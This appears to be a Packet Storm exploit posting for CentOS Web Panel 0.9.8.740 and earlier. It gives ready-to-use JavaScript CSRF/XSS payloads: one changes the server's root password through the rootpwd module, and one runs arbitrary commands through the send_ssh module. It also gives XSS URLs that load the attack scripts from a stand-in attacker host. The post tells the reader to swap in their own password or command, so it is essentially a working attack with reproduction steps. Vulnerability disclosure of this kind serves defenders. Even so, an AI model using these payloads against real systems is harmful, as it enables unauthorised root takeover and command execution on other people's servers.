exploit the possibilities

CentOS Web Panel 0.9.8.740 Root Account Takeover / Command Execution

CentOS Web Panel 0.9.8.740 Root Account Takeover / Command Execution
Posted Nov 5, 2018
Authored by Numan OZDEMIR

CentOS Web Panel versions 0.9.8.740 and below suffer from cross site request forgery and cross site scripting vulnerabilities that can be leveraged to achieve remote root command execution.

tags | exploit, remote, web, vulnerability, code execution, xss, csrf
systems | linux, centos
advisories | CVE-2018-18772, CVE-2018-18773, CVE-2018-18774
MD5 | 4423810363465943242d5484d215e474

CentOS Web Panel 0.9.8.740 Root Account Takeover / Command Execution

Change Mirror Download
[+] Title: CentOS Web Panel Root Account Takeover + Remote Command 
Execution <= v0.9.8.740
[+] Author: Numan OZDEMIR (https://infinitumit.com.tr)
[+] Vendor Homepage: centos-webpanel.com
[+] Software Link: http://centos-webpanel.com/cwp-latest
[+] Version: Up to v0.9.8.740.
[+] CVE: CVE-2018-18773, CVE-2018-18772 and CVE-2018-18774.
[+] Detailed: https://numanozdemir.com/respdisc/cwp.pdf
[+] Discovered by Numan OZDEMIR in InfinitumIT Labs

[~] Description:

Attacker can change target server's root password and execute command,
by CSRF vulnerability.
Also, there is a XSS vulnerability, hacker can exploit the CSRF
vulnerability by this XSS
vulnerability and run bad-purposed JavaScript codes on administrator's
browser.
So, CSRF/XSS to full server takeover.

[~] How to Reproduce:

Hacker can exploit this vulnerability (changing root password) by XSS or
CSRF.
Hacker will create a website and put those codes into source:

<script>
var url = "http://targetserver:2030/admin/index.php?module=rootpwd";
var params = "ifpost=yes&password1=newpassword&password2=newpassword";
var vuln = new XMLHttpRequest();
vuln.open("POST", url, true);
vuln.withCredentials = 'true';
vuln.setRequestHeader("Content-type",
"application/x-www-form-urlencoded");
vuln.send(params);
</script>

(Update newpassword as the password that you want to change.)

If hacker wants to exploit this by CSRF, CWP administrator will click
hacker's website.
But if hacker wants to exploit this by XSS, CWP administrator will click
here: (admin's own website)
http://targetserver:2030/admin/index.php?module=<script%20src=//hackerswebsite.com/password.js></script>
After exploiting, you can connect to server by Putty or access the CWP
panel with the password
that you have specified from 2030 port.

The second vulnerability is remote command execution.
Hacker can exploit this vulnerability (remote command execution) by XSS
or CSRF too.
Again, hacker will create a website and put those codes into source:

<script>
var url = "http://targetserver:2030/admin/index.php?module=send_ssh";
var params = "ssh+command=whoami";
var vuln = new XMLHttpRequest();
vuln.open("POST", url, true);
vuln.withCredentials = 'true';
vuln.setRequestHeader("Content-type",
"application/x-www-form-urlencoded");
vuln.send(params);
</script>

(Update whoami as command that you want to run.)

Same logic like top, if hacker wants to exploit this by CSRF, CWP
administrator will click hacker's website.
But if hacker wants to exploit this by XSS, CWP administrator will click
here: (admin's own website)
http://targetserver:2030/admin/index.php?module=<script%20src=//hackerswebsite.com/command.js></script>

// shouldnt think that CSRF/XSS are unimportant vulnerabilities.
// for secure days...
Login or Register to add favorites

File Archive:

September 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    20 Files
  • 2
    Sep 2nd
    15 Files
  • 3
    Sep 3rd
    15 Files
  • 4
    Sep 4th
    4 Files
  • 5
    Sep 5th
    1 Files
  • 6
    Sep 6th
    1 Files
  • 7
    Sep 7th
    15 Files
  • 8
    Sep 8th
    27 Files
  • 9
    Sep 9th
    7 Files
  • 10
    Sep 10th
    16 Files
  • 11
    Sep 11th
    9 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    25 Files
  • 15
    Sep 15th
    15 Files
  • 16
    Sep 16th
    15 Files
  • 17
    Sep 17th
    15 Files
  • 18
    Sep 18th
    12 Files
  • 19
    Sep 19th
    1 Files
  • 20
    Sep 20th
    1 Files
  • 21
    Sep 21st
    15 Files
  • 22
    Sep 22nd
    21 Files
  • 23
    Sep 23rd
    8 Files
  • 24
    Sep 24th
    15 Files
  • 25
    Sep 25th
    4 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close